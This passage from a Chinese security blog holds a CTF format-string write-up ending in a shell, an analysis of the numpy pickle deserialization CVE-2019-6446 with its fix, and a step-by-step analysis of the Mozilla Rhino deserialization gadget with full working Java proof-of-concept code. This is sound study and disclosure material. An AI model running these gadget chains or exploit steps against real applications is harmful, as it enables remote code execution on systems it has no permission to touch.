  • 泄漏 system 和 /bin/sh 的地址
  • 执行 sytem(“/bin/sh”),get shell

3.1 程序退出问题

很显然,printf 执行完成之后,程序就不再接收用户输入,而是继续执行并且退出。我们需要让程序不退出,而是重新回到触发格式化字符串漏洞的地方,以便于进一步的利用。

因此,我们需要找一个地址来改写,修改代码流程。看一下程序段,发现代码段是不能修改的,不过可以修改got表。

sections

很容易想到,把 exit 的 got 表地址改掉,改到 if 分支里,就可以在调用 exit 的时候回到主流程中。

exit-change

exit 的 got 表地址是 0x602078,默认值是 plt 表中 exit 表项中jmp指令的下一条指令地址 0x400846,我们要将这个值,修改为目标地址 0x400BE9。也就是说,需要修改两个字节,将 0x602078地址的两个字节从 0x846 修改为 0xBE9。

exit-got

exit-plt

exit-change-addr

所以,我们构造如下代码。

repeat2main

执行之后,再次接收到 slogan: 字符串,成功将代码流程劫持,可以进入下一步攻击了。

repeat2main_succ

需要注意的是,我们将 exit() 的 got 地址修改为 0x400BE9 之后,实际上是通过一次 call 指令重入了当前函数,也就意味着栈被抬高了一层(call 指令用于保存函数返回地址)。后续继续使用 printf 的格式化字符串漏洞时,每次都会多偏移一个参数的位置,这一点需要注意。

3.2 泄漏 system 和 /bin/sh 的地址

要 get shell,我们需要泄漏出 glibc 中 system() 和 /bin/sh 的地址。在环境提供了 libc.so.6 文件的条件下,我们只需要泄漏出任何一个库函数的地址,都可以通过文件中的偏移来计算出我们想要的符号地址。

看一下 got 表,我们选择 read 函数来泄漏地址。为什么选择 read?回看一下主函数。

main

在存在漏洞的 printf 函数执行前,read 函数已经被调用了,所以此时 got 表中 read 函数的表项中已经保存了它在 glibc 库中的真实地址。

got

也就是说,我们需要泄漏出 0x602050 地址的内容。用 “%s” 就好了。

read_addr

calc_system

成功获取到 system() 和 /bin/sh 的内存地址!

leak-succ

3.3 执行 sytem(“/bin/sh”),get shell

我们已经拿到 system 的地址,还有任意地址写的漏洞,也能布置栈空间。接下来就是看怎样调用 system(“/bin/sh”) 最方便了。

有很多方法可以实现这一步。最常用的方法是,利用 x64 程序的万能 gadget:init()函数,通过 ROP 来实现。

init-func

有没有更轻松的方法呢?回看一眼主函数。

main

咦? printf 的入参就是用户输入的 buf。这就意味着,只要我们把 printf 的 got 表改成 system 的地址,下一轮迭代时再发送 “/bin/sh” 的字符串,就可以直接执行 system(“/bin/sh”) 了,很简单是不是:)

查一下 got 表。printf 的地址是 0x602030,我们的目标是将这个地址的内容改写为前面获取到的 system 函数的真实地址。

got-printf

攻击脚本如下:

call-system

执行一下,成功 Get Shell !

get-shell

四、One More Thing

LazyIDA 是 IDA Pro 的一个插件,其中有一个功能是“扫描格式化字符串漏洞 Scan String Format Vulnerabilities”。

scan-string-format

扫描一下看看,很快就找到了漏洞点。

scan-string-format-result

附:

原始程序下载:cheating

攻击脚本链接:pwn_cheating.py

LazyIDA 下载:LazyIDA

CVE-2019-6446 浅析

发表于 2019-03-24

来源:香依香偎@闻道解惑

python 的反序列化

反序列化漏洞通常需要两个条件:

1、用户可控的反序列化入口

例如 PHP 的 unserialize()、Java 的 readObject() 。

2、运行环境中存在调用了危险函数的 magic function

例如 PHP 的 __wakup()、 __destruct() 以及 Java 的 readObject()。

满足这两个条件的前提下,我们构造第二个条件的对象(也就是 Gadget),并将其序列化后传递给第一个条件的入口,就可以成功触发反序列化漏洞了。

相对而言,第二个条件的利用更难,所以就诞生了 ysoserial 和 marshalsec 这样的 Gadget 生成器。

不过,对于 python 而言,反序列化漏洞的利用就简单多了,因为,python 的反序列化 Gadget 不需要存在于原有的运行环境中,而是可以通过序列化数据直接传递。

看个例子。

01-write

代码将 Test 类的对象序列化到 payload 文件中,其中在 magic function __reduce__() 中注入了恶意命令 ls 。接下来是反序列化。

02-read

看看结果。

03-result

可以看到,序列化到 payload 中的命令 ls 被成功地执行了。

因此,python 的反序列化漏洞利用,只需要满足第一个条件“用户可控的反序列化入口”就好了。

CVE-2019-6446

现在来看看 numpy 的这个 CVE。numpy 是非常流行的用于科学计算的python开源库,包括TensorFlow在内的许多项目都使用了 numpy。

numpy 提供了一个接口 numpy.load(),定义长这样:

04-load

函数里首先打开 file 文件,赋值给 fid

05-file

随后判断文件头。当文件头既不满足 zip 格式也不满足 numpy 格式时,numpy 直接做了一个操作:反序列化。

06-pickle

也就是说,只要我们将恶意的序列化内容传递给 numpy.load() 函数,就可以触发这个漏洞。

07-numpy-read

运行结果是:

08-numpy-run

成功执行了在序列化文件 payload 中注入的 ls 命令。

如何预防

首先,一个通用的原则:不要对不可信的数据进行反序列化。

其次,就 numpy 的这个 CVE 而言,可以注意到在进行反序列化之前有一个判断:allow_pickle。

09-allowpickle

allow_pickle 其实是 numpy.load() 的第三个参数,可选,默认为 True。

10-allowpickle

只要在调用 numpy.load() 的时候,将 allow_pickle 置为 False 就可以避免反序列化操作了。

11-allowpickle-false

Mozilla Rhino 反序列化漏洞 POC 分析

发表于 2018-02-24

来源:香依香偎@闻道解惑

Mozilla Rhino 是一个完全使用 Java 语言编写的开源 JavaScript 引擎。ysoserial 中收录了 Rhino 的反序列化 Gadget,本篇文章就来分析一下这个 Gadget。

零、NativeError 的继承关系

首先来看 org.mozilla.javascript.NativeError 类的继承关系。它继承自 IdScriptableObject,后者继承自 ScriptableObject。而 ScriptableObject 实现了 Scriptable 接口和 Serializable 接口。因此,NativeError 可以进行序列化和反序列化操作。

NativeError.class

一、分析

1、 首先,反序列化攻击的入口在 NativeError 的 toString() 函数。

NativeError.toString

toString() 中调用了 js_toString() 函数,传入参数为 NativeError 的 this 对象。看下js_toString() 。

NativeError.js_toString

js_toString() 调用了两次 getString() 函数,传入的参数是 NativeError 对象和字符串 name/message,继续跟进。

NativeError.getString

getString() 中调用的是父类 ScriptableObject 的 getProperty() 函数,入参没有变化。跟进去看看。

ScriptableObject.getProperty

其中调用的是 Scriptable 接口的 get() 函数。这个 get() 的实现在 IdScriptableObject 类。

IdScriptableObject.get

IdScriptableObject.get() 最后调用的是父类 ScriptableObject 的 get() 函数,再次回到 ScriptableObject 类。

ScriptableObject.get

继续跟进 getImpl() 函数。

ScriptableObject.getImpl

其中的关键在于 2007 行到 2026 行的这部分。先看 2009 行到 2020 行的第一个分支。

getImpl-branches.png

这个分支中有 nativeGetter.invoke() 的调用,看上去有戏。但有一个问题在于,nativeGetter.delegateTo 是 transient 变量,在反序列化过程中无法赋值。

transient-delegateTo

这会导致 2013 行 if (nativeError.delegateTo == null) 的判断恒真,getterThis 就被赋值为最初的 NativeError 对象。这就导致 2020 行的 nativeGetter.invoke() 无法调用我们期望的目标对象的函数,只能调用静态函数或者 NativeError 类的内置函数。这当然不是我们期望的结果。

nativeGetter.invoke

再来看 2021 行到 2026 行的 else 分支。

getImpl-else-branch

这个分支中需要将 getterObj 设置为 Function 对象,并最终调用 Function 的 call() 函数。先看看 getterObj 如何赋值。

ScriptableObject-getterObj

通过 GetterSlot 的 getter。GetterSlot 是 ScriptableObject 的内部类,支持序列化。

GetterSlot-getter

GetterSlot-classes

GetterSlot.getter 可以通过 ScriptableObject.setGetterOrSetter() 来进行赋值。

ScriptableObject-setGetterOrSetter

那么 getterObj 要赋值成 Function 的哪个对象呢?Function 是个接口,看下它的实现类。

Function-classes

我们选择 NativeJavaMethod 类。这个类继承自 BaseFunction,后者同样继承自 IdScriptableObject,因此同样可以进行序列化和反序列化处理。

NativeJavaMethod-classes

NativeJavaMethod.call() 函数挺长,翻一翻会发现在 247 行调用了 meth.invoke(javaObject, args)。

NativeJavaMethod.call

这个 invoke() 的调用,其实是 MemberBox.invoke() 函数,其中直接调用了我们熟悉的 method.invoke() 函数。

MemberBox.invoke

看起来很有希望。为了能成功调用到我们期望的目标函数,我们需要关注 NativeJavaMethod.call() 中 meth.invoke(javaObject, args) 里的三个变量:meth、javaObject和args。

NativeJavaMethod.call

一个一个来,先看 meth。

2、meth 的值来自类的成员变量 methods,通过 findFunction() 查找到索引 index。

NativeJavaMethod.methods

成员变量 methods 是 MemberBox 类的对象数组,本身可以通过反序列化赋值。

NativeJavaMethod.methods

至于 methods 的内容要设置成什么样,来看下 MemberBox.invoke() 函数。其中 method 来自 method() 函数,而后者是直接返回了 memberObject 变量。

MemberBox.invoke

MemberBox-method

MemberBox.memberObject 是个 transient 变量,要怎么赋值呢?

MemberBox-memberObject

答案就在 MemberBox.readObject() 中。这里先通过 readMember() 得到了 member 对象,再通过 init() 函数将 member 赋值给 memberObject。

MemberBox.readObject

MemberBox.init

继续跟进 readMember() 函数,就是一个反序列化的实现。因此,通过反序列化给 memberObject的赋值,不存在问题。

MemberBox.readMember

也就是说,我们可以通过反序列化给 meth 赋值为期望的目标函数。

结论

设置 NativeJavaMethod.call() 中的 meth 需要:

  • 构造 MemberBox 对象 m
  • 设置 m 的成员变量 memberObject 为目标函数
  • 构造 NativeJavaMethod 对象 n
  • 设置 n 的成员变量 methods 的 0 号元素为 m

3、 javaObject 涉及的代码,都在 NativeJavaMethod.call() 的 222~247 行。

NativeJavaMethod-javaObject

关键的部分就是 225~242 行的 else 分支里。

NativeJavaMethod.else.branch

如果要把 javaObject 赋值为我们期望的对象,就是要在 235 行完成这个赋值。但是这里有一个问题:我们知道 thisObj 就是 NativeError 对象,同理 o 也是。但 NativeError 没有实现 Wrapper 接口,这样一来 234 行的判断条件 if (o instanceof Wrapper) 就不能满足了。

for-o-Wrapper

转机在于,这个判断身处循环之中,240 行的 o = o.getPrototype() 给了我们希望。查看一下 Wrapper 的实现类。

Wrapper-classes

看下 NativeJavaObject 的 unwrap() 函数,直接返回了 NativeJavaObject.javaObject 成员变量。

NativeJavaObject-unwrap

而 NativeJavaObject.javaObject 成员变量可以通过反序列化的 readObject() 函数直接赋值。

NativeJavaObject-readObject

也就是说,如果我们让 NativeError 对象的 getPrototype() 返回特定的 NativeJavaObject 对象,就可以完成 javaObject 的赋值。看看 getPrototype() 的实现,在 ScriptableObject 类中。

ScriptableObject-getPrototype

这个 prototypeObject 来自 ScriptableObject 的成员变量,可以通过反序列化赋值。

ScriptableObject.prototypeObject

结论

设置 NativeJavaMethod.call() 中的 javaObject 需要:

  • 构造 NativeJavaObject 对象 o
  • 设置 o 的成员变量 javaObject 为目标对象
  • 构造 NativeError 对象 e
  • 设置 e 的成员变量 prototypeObject 为 o

4、 最后看一下 args。args来自入参,其实就是调用者传入的 ScriptRuntime.emptyArgs。

NativeJavaMethod.args

ScriptableObject.emptyArgs

这就决定我们要寻找的目标函数,必须是一个无参函数。

5、 再回到开头,通常反序列化的入口都是 readObject() 函数,而文章开头说 NativeError 的反序列化入口在 toString() 函数。怎么才能从 readObject() 入口转到 NativeError.toString() 呢?

答案就在 JDK 中的 BadAttributeValueExpException 类的 readObject() 函数。

BadAttributeValueExpException-readObject

也就是说,只要将 BadAttributeValueExpException 的 val 设置为 NativeError 对象,就可以在反序列化的过程中调用 NativeError.toString() 了。

6、结论

如果要完成反序列化POC,需要:

  • 构造 MemberBox 对象 m
  • 设置 m 的成员变量 memberObject 为目标函数
  • 构造 NativeJavaMethod 对象 n
  • 设置 n 的成员变量 methods 的 0 号元素为 m
  • 构造 NativeJavaObject 对象 o
  • 设置 o 的成员变量 javaObject 为目标对象
  • 构造 NativeError 对象 a
  • 设置 a 的成员变量 prototypeObject 为 o
  • 通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n
  • 构造 BadAttributeValueExpException 对象 b
  • 设置 b 的成员变量 val 为 NativeError 对象 a

前面说过,需要寻找的目标函数,应当是一个无参函数。同时,这个无参函数所属的目标类,还得是实现了 Serializable 接口、支持序列化和反序列化的类。

因此,首先想到的就是,使用 TemplatesImpl 类作为目标类,使用它的 getOutputProperties() 作为目标函数。

二、填坑

完成了上述分析,我们开始写POC。途中暗坑无数,逐一填之。

1、NativeError 无法实例化

声明 NativeError 对象,直接报错:The type NativeError is not visible。

Error-NativeError

报错原因:

NativeError 类不是 public,不能直接引用。

Reason-NativeError

解决方案:

通过反射,实例化 NativeError 对象。

Solution-New-NativeError

2、反射实例化的 NativeError 运行失败

运行这段代码:

Error-Run-new-instance

报错 “ Class com.xiang.rhinotest.RhinoPoc can not access a member of class org.mozilla.javascript.NativeError with modifiers “” ”

Error-Access-NativeError

报错原因:

NativeError 没有提供默认的public 无参构造函数,无法直接调用 newInstance()。

解决方案:

通过反射设置构造函数为 public,再进行调用。

Solution-setAccessible

反射在 ysoserial 中被大量的使用,原因也就在此。

3、执行POC失败:No Context

按照“分析”部分的结论,结合大量的反射调用,完成POC如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private static Object generate_Object() throws Exception {
//构造 NativeError 对象 a
Object nativeError;
{
Class<?> cls = Class.forName("org.mozilla.javascript.NativeError");
Constructor<?> cons = cls.getDeclaredConstructor();
cons.setAccessible(true);
nativeError = cons.newInstance();
}

//构造 NativeJavaObject 对象 o
//设置 o 的成员变量 javaObject 为目标对象
//设置 a 的成员变量 prototypeObject 为 o
TemplatesImpl templatesImpl = TemplatesImplGadget.get();
{
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, templatesImpl, TemplatesImpl.class);
Method method = nativeError.getClass().getMethod("setPrototype", new Class<?>[]{Scriptable.class});
method.invoke(nativeError, new Object[]{nativeJavaObject});
}

//构造 MemberBox 对象 m
//设置 m 的成员变量 memberObject 为目标函数
//构造 NativeJavaMethod 对象 n
//设置 n 的成员变量 methods 的 0 号元素为 m
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n
Method getOutputProperties = templatesImpl.getClass().getMethod("getOutputProperties", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(getOutputProperties, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"name", 0, nativeJavaFunction, false});
}

//构造 BadAttributeValueExpException 对象 b
//设置 b 的成员变量 val 为 NativeError 对象 a
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
{
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, nativeError);
}
return badAttributeValueExpException;
}

编译运行。呃,序列化成功,可是反序列化的时候却没看到计算器,只看到了报错:“No Context associated with current Thread”。

Error-no-context

报错原因:

问题在哪里呢?就在 ScriptableObject.getImpl() 的 else 分支中。

Reason-no-context

我们期望进入 2024 行的 f.call(),结果在 2023 行 Context.getContext() 抛出了异常,因为 Context 对象为空。

Reason-Context-null

构造 Context 需要调用 Context.enter() 函数。

Context-enter
Context-enter-2

怎样在反序列化的时候插入 Context.enter() 的调用呢?

重新看下调用栈,发现 NativeError.js_toString() 调用了两次 getString() 函数,分别传入字符串 “name”和“message”。

NativeError.js_toString

因此,我们可以把 TemplatesImpl.getOutputProperties() 作为 “message”的属性,把 Context.enter() 作为 “name” 的属性,这样就可以先执行 Context.enter(),再执行 TemplatesImpl.getOutputProperties() 进行 Payload 执行。

解决方案:

按照 POC 中设置 TemplatesImpl.getOutputProperties() 的方法,设置 Context.enter() 为 “name” 属性,将 TemplatesImpl.getOutputProperties() 设置为 “message” 属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//构造 MemberBox 对象 m
//设置 m 的成员变量 memberObject 为目标函数
//构造 NativeJavaMethod 对象 n
//设置 n 的成员变量 methods 的 0 号元素为 m
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n
Method getOutputProperties = templatesImpl.getClass().getMethod("getOutputProperties", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(getOutputProperties, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"messsage", 0, nativeJavaFunction, false});
}

//构造 MemberBox 对象 m2
//设置 m2 的成员变量 memberObject 为 Context.enter()
//构造 NativeJavaMethod 对象 n2
//设置 n2 的成员变量 methods 的 0 号元素为 m2
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n2
Method enterMethod = Context.class.getMethod("enter", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(enterMethod, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"name", 0, nativeJavaFunction, false});
}

4、执行POC仍然失败:No Context

增加 Context.enter() 的调用之后,重新运行POC,呃,问题依旧……

Error-no-context

报错原因:

为什么新增的调用无效呢?因为设置函数的方法错了。

无论是 TemplatesImpl.getOutputProperties() 还是 Context.enter() ,我们都是通过 ScriptableObject.setGetterOrSetter() 函数进行设置。而这个函数设置的 getter 属性,是 Callable 类型的。

ScriptalbeObject-setGetterOrSetter

回到报错的地方看。 2009 行 if 分支的判断条件是,getter 属性的值必须是 MemberBox 类型,而 MemberBox 并没有实现 Callable 接口,所以无论进来的是TemplatesImpl.getOutputProperties() 还是 Context.enter(),代码流程都会走到 2021 行的 else 分支中。

Reason-no-context

我们期望流程走到 2024 行的 f.call(),遇到的问题是在 2023 行就报错了。我们增加 Context.enter() 的调用,期望他能解决无法通过 f.call() 来调用TemplatesImpl.getOutputProperties() 的问题。

但是对 Context.enter() 的调用遇到了一样的问题,在 2023 行就抛出了异常,无法走到 2024 行去执行我们期望的函数。

所以,对 Context.enter() 的设置,就不能像 TemplatesImpl.getOutputProperties() 一样,去通过 ScriptableObject.setGetterOrSetter() 函数进行设置,只能让他通过 2009 行的 if 分支去调用。但是要怎么去设置呢?ysoserial 通过反射进行强制设置 getter 属性来解决这个问题。

解决方案:

参考 ysoserial 中的方法,通过反射进行强制设置 getter 属性为 MemberBox 对象的 Context.enter() 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//构造 MemberBox 对象 m2
//设置 m2 的成员变量 memberObject 为 Context.enter()
//构造 NativeJavaMethod 对象 n2
//设置 n2 的成员变量 methods 的 0 号元素为 m2
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n2
Method enterMethod = Context.class.getMethod("enter", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(enterMethod, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"name", 0, nativeJavaFunction, false});
}

//通过反射强行设置 getter 属性为 MemberBox 对象的 Context.enter() 函数
{
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", new Class<?>[]{String.class, int.class, int.class});
getSlot.setAccessible(true);
Object slot = getSlot.invoke(nativeError, "name", 0, 1);
Field getter = slot.getClass().getDeclaredField("getter");
getter.setAccessible(true);

Class<?> memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor<?> memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
memberboxClassConstructor.setAccessible(true);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
getter.set(slot, memberboxes);
}

现在再执行 POC,终于可以看到计算器了。

calc

三、POC

完整POC参见 Github。

主要函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

private static Object generate_Object() throws Exception
{
//构造 NativeError 对象 a
Object nativeError;
{
Class<?> cls = Class.forName("org.mozilla.javascript.NativeError");
Constructor<?> cons = cls.getDeclaredConstructor();
cons.setAccessible(true);
nativeError = cons.newInstance();
}

//构造 NativeJavaObject 对象 o
//设置 o 的成员变量 javaObject 为目标对象
//设置 a 的成员变量 prototypeObject 为 o
TemplatesImpl templatesImpl = TemplatesImplGadget.get();
{
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, templatesImpl, TemplatesImpl.class);
Method method = nativeError.getClass().getMethod("setPrototype", new Class<?>[]{Scriptable.class});
method.invoke(nativeError, new Object[]{nativeJavaObject});
}

//构造 MemberBox 对象 m
//设置 m 的成员变量 memberObject 为目标函数
//构造 NativeJavaMethod 对象 n
//设置 n 的成员变量 methods 的 0 号元素为 m
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n
Method getOutputProperties = templatesImpl.getClass().getMethod("getOutputProperties", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(getOutputProperties, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"message", 0, nativeJavaFunction, false});
}

//构造 MemberBox 对象 m2
//设置 m2 的成员变量 memberObject 为 Context.enter()
//构造 NativeJavaMethod 对象 n2
//设置 n2 的成员变量 methods 的 0 号元素为 m2
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n2
Method enterMethod = Context.class.getMethod("enter", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(enterMethod, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"name", 0, nativeJavaFunction, false});
}

//通过反射强行设置 getter 属性为 MemberBox 对象的 Context.enter() 函数
{
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", new Class<?>[]{String.class, int.class, int.class});
getSlot.setAccessible(true);
Object slot = getSlot.invoke(nativeError, "name", 0, 1);
Field getter = slot.getClass().getDeclaredField("getter");
getter.setAccessible(true);

Class<?> memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor<?> memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
memberboxClassConstructor.setAccessible(true);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
getter.set(slot, memberboxes);
}

//构造 BadAttributeValueExpException 对象 b
//设置 b 的成员变量 val 为 NativeError 对象 a
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
{
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, nativeError);
}

return badAttributeValueExpException;
}

调用栈:

call-stack

四、心得

1、 有 BadAttributeValueExpException 作为反序列化的入口,toString() 也成为了 readObject() 之外的另一个反序列化攻击触发点。

2、 反射功能,很好很强大。

12
香依香偎

香依香偎

闻道解惑, 香依香偎

12 日志
44 标签
RSS
GitHub E-Mail Weibo
© 2021 香依香偎
由 Hexo 强力驱动
|
主题 — NexT.Mist v5.1.4